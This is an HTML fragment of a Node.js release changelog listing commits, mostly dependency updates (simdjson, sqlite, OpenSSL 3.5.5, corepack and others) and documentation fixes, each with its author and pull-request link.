<li>[<a href="https://github.com/nodejs/node/commit/c18518ee3c"><code>c18518ee3c</code></a>] - <strong>deps</strong>: update nbytes to 0.1.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61270" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61270/hovercard">#61270</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/376df62d63"><code>376df62d63</code></a>] - <strong>deps</strong>: update timezone to 2025c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61138" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61138/hovercard">#61138</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/993e905302"><code>993e905302</code></a>] - <strong>deps</strong>: update simdjson to 4.2.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61056" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61056/hovercard">#61056</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b72fd2a5d3"><code>b72fd2a5d3</code></a>] - <strong>deps</strong>: update googletest to 065127f1e4b46c5f14fc73cf8d323c221f9dc68e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61055" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61055/hovercard">#61055</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d765147405"><code>d765147405</code></a>] - <strong>deps</strong>: update sqlite to 3.51.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60899/hovercard">#60899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37abe2a7d2"><code>37abe2a7d2</code></a>] - <strong>deps</strong>: update zlib to 1.3.1-63d7e16 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60898/hovercard">#60898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97241fcb86"><code>97241fcb86</code></a>] - <strong>deps</strong>: update sqlite to 3.51.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60614" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60614/hovercard">#60614</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3669c7b4f4"><code>3669c7b4f4</code></a>] - <strong>deps</strong>: update simdjson to 4.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60740" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60740/hovercard">#60740</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a056ec89c"><code>9a056ec89c</code></a>] - <strong>deps</strong>: update googletest to 1b96fa13f549387b7549cc89e1a785cf143a1a50 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60739" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60739/hovercard">#60739</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5803b3ea0"><code>b5803b3ea0</code></a>] - <strong>deps</strong>: update minimatch to 10.1.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60543/hovercard">#60543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5bf99f3d46"><code>5bf99f3d46</code></a>] - <strong>deps</strong>: update cjs-module-lexer to 2.1.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60646" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60646/hovercard">#60646</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/801f187357"><code>801f187357</code></a>] - <strong>deps</strong>: update simdjson to 4.2.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60644" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60644/hovercard">#60644</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/03c16e5a4c"><code>03c16e5a4c</code></a>] - <strong>deps</strong>: update simdjson to 4.1.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60542" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60542/hovercard">#60542</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ebfc2ca56"><code>2ebfc2ca56</code></a>] - <strong>deps</strong>: update amaro to 1.1.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60541/hovercard">#60541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d24ba4fed6"><code>d24ba4fed6</code></a>] - <strong>deps</strong>: update simdjson to 4.0.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/59883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59883/hovercard">#59883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9480a139bf"><code>9480a139bf</code></a>] - <strong>deps</strong>: update googletest to 279f847 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60219/hovercard">#60219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/635e67379e"><code>635e67379e</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61547/hovercard">#61547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7b774047d"><code>c7b774047d</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61547/hovercard">#61547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b324d7d7f"><code>5b324d7d7f</code></a>] - <strong>deps</strong>: update corepack to 0.34.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61510/hovercard">#61510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eef8ba0667"><code>eef8ba0667</code></a>] - <strong>deps</strong>: update corepack to 0.34.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60842/hovercard">#60842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/490f7c7fb1"><code>490f7c7fb1</code></a>] - <strong>deps</strong>: update corepack to 0.34.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60643" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60643/hovercard">#60643</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66903ea3b3"><code>66903ea3b3</code></a>] - <strong>deps</strong>: update corepack to 0.34.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60550/hovercard">#60550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2f0b69282"><code>a2f0b69282</code></a>] - <strong>deps</strong>: update corepack to 0.34.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60314" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60314/hovercard">#60314</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c8044a48a6"><code>c8044a48a6</code></a>] - <strong>deps</strong>: V8: backport 2e4c5cf9b112 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60654" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60654/hovercard">#60654</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/642f518198"><code>642f518198</code></a>] - <strong>doc</strong>: supported toolchain with Visual Studio 2022 only (Mike McCready) <a href="https://github.com/nodejs/node/pull/61451" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61451/hovercard">#61451</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/625f674487"><code>625f674487</code></a>] - <strong>doc</strong>: move Security-Team from TSC to SECURITY (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61495" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61495/hovercard">#61495</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/029e32f8ba"><code>029e32f8ba</code></a>] - <strong>doc</strong>: added <code>requestOCSP</code> option to <code>tls.connect</code> (ikeyan) <a href="https://github.com/nodejs/node/pull/61064" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61064/hovercard">#61064</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/68e33dfa89"><code>68e33dfa89</code></a>] - <strong>doc</strong>: restore <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChALkeR/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChALkeR">@ChALkeR</a> to collaborators (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61553/hovercard">#61553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e016770d62"><code>e016770d62</code></a>] - <strong>doc</strong>: update IBM/Red Hat volunteers with dedicated project time (Beth Griggs) <a href="https://github.com/nodejs/node/pull/61588" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61588/hovercard">#61588</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec63954657"><code>ec63954657</code></a>] - <strong>doc</strong>: mention constructor comparison in assert.deepStrictEqual (Hamza Kargin) <a href="https://github.com/nodejs/node/pull/60253" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60253/hovercard">#60253</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c8e1563a98"><code>c8e1563a98</code></a>] - <strong>doc</strong>: add CVE delay mention (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61465" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61465/hovercard">#61465</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b00cf2b54"><code>4b00cf2b54</code></a>] - <strong>doc</strong>: include OpenJSF handle for security stewards (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61454" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61454/hovercard">#61454</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b73bf5bc8"><code>4b73bf5bc8</code></a>] - <strong>doc</strong>: clarify process.argv[1] behavior for -e/--eval (Jeevankumar S) <a href="https://github.com/nodejs/node/pull/61366" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61366/hovercard">#61366</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3151df4b3"><code>d3151df4b3</code></a>] - <strong>doc</strong>: remove Windows Dev Home instructions from BUILDING (Mike McCready) <a href="https://github.com/nodejs/node/pull/61434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61434/hovercard">#61434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2323462e35"><code>2323462e35</code></a>] - <strong>doc</strong>: clarify TypedArray properties on Buffer (Roman Reiss) <a href="https://github.com/nodejs/node/pull/61355" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61355/hovercard">#61355</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c5478c8b2"><code>6c5478c8b2</code></a>] - <strong>doc</strong>: note resume build should not be done on node-test-commit (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/61373" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61373/hovercard">#61373</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba4a043103"><code>ba4a043103</code></a>] - <strong>doc</strong>: refine WebAssembly error documentation (sangwook) <a href="https://github.com/nodejs/node/pull/61382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61382/hovercard">#61382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd315ea589"><code>cd315ea589</code></a>] - <strong>doc</strong>: add deprecation history for url.parse (Eng Zer Jun) <a href="https://github.com/nodejs/node/pull/61389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61389/hovercard">#61389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42db0c392d"><code>42db0c392d</code></a>] - <strong>doc</strong>: add marco and rafael in last sec release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61383/hovercard">#61383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c3b680fc7"><code>4c3b680fc7</code></a>] - <strong>doc</strong>: packages: example of private import switch to internal (coderaiser) <a href="https://github.com/nodejs/node/pull/61343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61343/hovercard">#61343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/684d15e421"><code>684d15e421</code></a>] - <strong>doc</strong>: add esm and cjs examples to node:v8 (Alfredo González) <a href="https://github.com/nodejs/node/pull/61328" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61328/hovercard">#61328</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c3f9c7a7d9"><code>c3f9c7a7d9</code></a>] - <strong>doc</strong>: added 'secure' event to tls.TLSSocket (ikeyan) <a href="https://github.com/nodejs/node/pull/61066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61066/hovercard">#61066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa9acad5ca"><code>aa9acad5ca</code></a>] - <strong>doc</strong>: restore <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/watilde/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/watilde">@watilde</a> to collaborators (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/61350" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61350/hovercard">#61350</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9cafec084e"><code>9cafec084e</code></a>] - <strong>doc</strong>: run license-builder (github-actions[bot]) <a href="https://github.com/nodejs/node/pull/61348" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61348/hovercard">#61348</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cdb12ccbc6"><code>cdb12ccbc6</code></a>] - <strong>doc</strong>: document ALPNCallback option for TLSSocket constructor (ikeyan) <a href="https://github.com/nodejs/node/pull/61331" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61331/hovercard">#61331</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/461c5e65c5"><code>461c5e65c5</code></a>] - <strong>doc</strong>: update MDN links (Livia Medeiros) <a href="https://github.com/nodejs/node/pull/61062" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61062/hovercard">#61062</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dde45baeab"><code>dde45baeab</code></a>] - <strong>doc</strong>: add documentation for process.traceProcessWarnings (Alireza Ebrahimkhani) <a href="https://github.com/nodejs/node/pull/53641" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53641/hovercard">#53641</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59a7aeec92"><code>59a7aeec92</code></a>] - <strong>doc</strong>: fix filename typo (Hardanish Singh) <a href="https://github.com/nodejs/node/pull/61297" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61297/hovercard">#61297</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a0a40d1ed"><code>9a0a40d1ed</code></a>] - <strong>doc</strong>: fix typos and grammar in <code>BUILDING.md</code> &amp; <code>onboarding.md</code> (Hardanish Singh) <a href="https://github.com/nodejs/node/pull/61267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61267/hovercard">#61267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dca7005f9d"><code>dca7005f9d</code></a>] - <strong>doc</strong>: mention --newVersion release script (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61255/hovercard">#61255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0dc8ddf85"><code>c0dc8ddf85</code></a>] - <strong>doc</strong>: correct typo in api contributing doc (Mike McCready) <a href="https://github.com/nodejs/node/pull/61260" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61260/hovercard">#61260</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/066af38fe1"><code>066af38fe1</code></a>] - <strong>doc</strong>: add PR-URL requirement for security backports (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61256/hovercard">#61256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71dd46bd0c"><code>71dd46bd0c</code></a>] - <strong>doc</strong>: add reusePort error behavior to net module (mag123c) <a href="https://github.com/nodejs/node/pull/61250" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61250/hovercard">#61250</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6abe3ba33"><code>f6abe3ba33</code></a>] - <strong>doc</strong>: note corepack package removal in distribution doc (Mike McCready) <a href="https://github.com/nodejs/node/pull/61207" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61207/hovercard">#61207</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9059d49d8c"><code>9059d49d8c</code></a>] - <strong>doc</strong>: fix tls.connect() timeout documentation (Azad Gupta) <a href="https://github.com/nodejs/node/pull/61079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61079/hovercard">#61079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e7b34b76b0"><code>e7b34b76b0</code></a>] - <strong>doc</strong>: missing <code>passed</code>, <code>error</code> and <code>passed</code> properties on <code>TestContext</code> (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/61185" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61185/hovercard">#61185</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ae2dcfbb6"><code>9ae2dcfbb6</code></a>] - <strong>doc</strong>: clarify threat model for application-level API exposure (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61184" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61184/hovercard">#61184</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9902331a7c"><code>9902331a7c</code></a>] - <strong>doc</strong>: correct options for net.Socket class and socket.connect (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/61179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61179/hovercard">#61179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a80122d2fe"><code>a80122d2fe</code></a>] - <strong>doc</strong>: document error event on readline InterfaceConstructor (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/61170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61170/hovercard">#61170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38d73c9cfa"><code>38d73c9cfa</code></a>] - <strong>doc</strong>: add a smooth scrolling effect to the sidebar (btea) <a href="https://github.com/nodejs/node/pull/59007" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59007/hovercard">#59007</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/95c51fa984"><code>95c51fa984</code></a>] - <strong>doc</strong>: correct invalid collaborator profile (JJ) <a href="https://github.com/nodejs/node/pull/61091" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61091/hovercard">#61091</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5a044763c"><code>f5a044763c</code></a>] - <strong>doc</strong>: exclude compile-time flag features from security policy (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61109" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61109/hovercard">#61109</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6ebf2cd53"><code>b6ebf2cd53</code></a>] - <strong>doc</strong>: add <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avivkeller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avivkeller">@avivkeller</a> to collaborators (Aviv Keller) <a href="https://github.com/nodejs/node/pull/61115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61115/hovercard">#61115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/35854f424d"><code>35854f424d</code></a>] - <strong>doc</strong>: add gurgunday to collaborators (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/61094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61094/hovercard">#61094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4932322c29"><code>4932322c29</code></a>] - <strong>doc</strong>: add File modes cross-references in fs methods (Mohit Raj Saxena) <a href="https://github.com/nodejs/node/pull/60286" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60286/hovercard">#60286</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c84904e047"><code>c84904e047</code></a>] - <strong>doc</strong>: add missing <code>zstd</code> to mjs example of zlib (Deokjin Kim) <a href="https://github.com/nodejs/node/pull/60915" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60915/hovercard">#60915</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e615b9e2f2"><code>e615b9e2f2</code></a>] - <strong>doc</strong>: clarify fileURLToPath security considerations (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60887/hovercard">#60887</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/99e384e6d4"><code>99e384e6d4</code></a>] - <strong>doc</strong>: replace column with columnNumber in example of <code>util.getCallSites</code> (Deokjin Kim) <a href="https://github.com/nodejs/node/pull/60881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60881/hovercard">#60881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9351bb4d02"><code>9351bb4d02</code></a>] - <strong>doc</strong>: correct spelling in BUILDING.md (Rich Trott) <a href="https://github.com/nodejs/node/pull/60875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60875/hovercard">#60875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1f6e7fc4d"><code>e1f6e7fc4d</code></a>] - <strong>doc</strong>: update debuglog examples to use 'foo-bar' instead of 'foo' (xiaoyao) <a href="https://github.com/nodejs/node/pull/60867" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60867/hovercard">#60867</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccbb2d7300"><code>ccbb2d7300</code></a>] - <strong>doc</strong>: fix typos in changelogs (Rich Trott) <a href="https://github.com/nodejs/node/pull/60855" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60855/hovercard">#60855</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1cb2fe8b35"><code>1cb2fe8b35</code></a>] - <strong>doc</strong>: mark module.register as active development (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60849" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60849/hovercard">#60849</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ceeb4968a6"><code>ceeb4968a6</code></a>] - <strong>doc</strong>: add fullName property to SuiteContext (PaulyBearCoding) <a href="https://github.com/nodejs/node/pull/60762" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60762/hovercard">#60762</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56155909dd"><code>56155909dd</code></a>] - <strong>doc</strong>: keep sidebar module visible when navigating docs (Botato) <a href="https://github.com/nodejs/node/pull/60410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60410/hovercard">#60410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b637763d5"><code>6b637763d5</code></a>] - <strong>doc</strong>: correct concurrency wording in test() documentation (Azad Gupta) <a href="https://github.com/nodejs/node/pull/60773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60773/hovercard">#60773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7183e8ffa1"><code>7183e8ffa1</code></a>] - <strong>doc</strong>: clarify that CQ only picks up PRs targeting <code>main</code> (René) <a href="https://github.com/nodejs/node/pull/60731" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60731/hovercard">#60731</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5d94303be"><code>d5d94303be</code></a>] - <strong>doc</strong>: clarify license section and add contributor note (KaleruMadhu) <a href="https://github.com/nodejs/node/pull/60590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60590/hovercard">#60590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0210c8f53"><code>e0210c8f53</code></a>] - <strong>doc</strong>: correct tls ALPNProtocols types (René) <a href="https://github.com/nodejs/node/pull/60143" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60143/hovercard">#60143</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eff87b498a"><code>eff87b498a</code></a>] - <strong>doc</strong>: remove mention of SMS 2FA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60707/hovercard">#60707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e77ef94a51"><code>e77ef94a51</code></a>] - <strong>doc</strong>: <code>domain.add()</code> does not accept timer objects (René) <a href="https://github.com/nodejs/node/pull/60675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60675/hovercard">#60675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4fe19c95ea"><code>4fe19c95ea</code></a>] - <strong>doc</strong>: update Collaborators list to reflect hybrist handle change (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60650/hovercard">#60650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eece59b6ce"><code>eece59b6ce</code></a>] - <strong>doc</strong>: fix linter issues (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60636" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60636/hovercard">#60636</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e17e596e4"><code>6e17e596e4</code></a>] - <strong>doc</strong>: correct values/references for buffer.kMaxLength (René) <a href="https://github.com/nodejs/node/pull/60305" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60305/hovercard">#60305</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac327ae9a7"><code>ac327ae9a7</code></a>] - <strong>doc</strong>: recommend events.once to manage 'close' event (Dan Fabulich) <a href="https://github.com/nodejs/node/pull/60017" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60017/hovercard">#60017</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9b149ea42"><code>d9b149ea42</code></a>] - <strong>doc</strong>: highlight module loading difference between import and require (Ajay A) <a href="https://github.com/nodejs/node/pull/59815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59815/hovercard">#59815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6d62cb22c"><code>f6d62cb22c</code></a>] - <strong>doc</strong>: fix typo in <code>process.unref</code> documentation (우혁) <a href="https://github.com/nodejs/node/pull/59698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59698/hovercard">#59698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d5078b196"><code>6d5078b196</code></a>] - <strong>doc</strong>: add some entries to <code>glossary.md</code> (Mohataseem Khan) <a href="https://github.com/nodejs/node/pull/59277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59277/hovercard">#59277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0a5820dea"><code>b0a5820dea</code></a>] - <strong>doc</strong>: improve agent.createConnection docs for http and https agents (JaeHo Jang) <a href="https://github.com/nodejs/node/pull/58205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58205/hovercard">#58205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5db02fe67"><code>b5db02fe67</code></a>] - <strong>doc</strong>: fix pseudo code in modules.md (chirsz) <a href="https://github.com/nodejs/node/pull/57677" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57677/hovercard">#57677</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e9b912d481"><code>e9b912d481</code></a>] - <strong>doc</strong>: add missing variable in code snippet (Koushil Mankali) <a href="https://github.com/nodejs/node/pull/55478" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/55478/hovercard">#55478</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44c06c7812"><code>44c06c7812</code></a>] - <strong>doc</strong>: add missing word in <code>single-executable-applications.md</code> (Konstantin Tsabolov) <a href="https://github.com/nodejs/node/pull/53864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53864/hovercard">#53864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/482b43f160"><code>482b43f160</code></a>] - <strong>doc</strong>: fix typo in http.md (Michael Solomon) <a href="https://github.com/nodejs/node/pull/59354" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59354/hovercard">#59354</a></li>
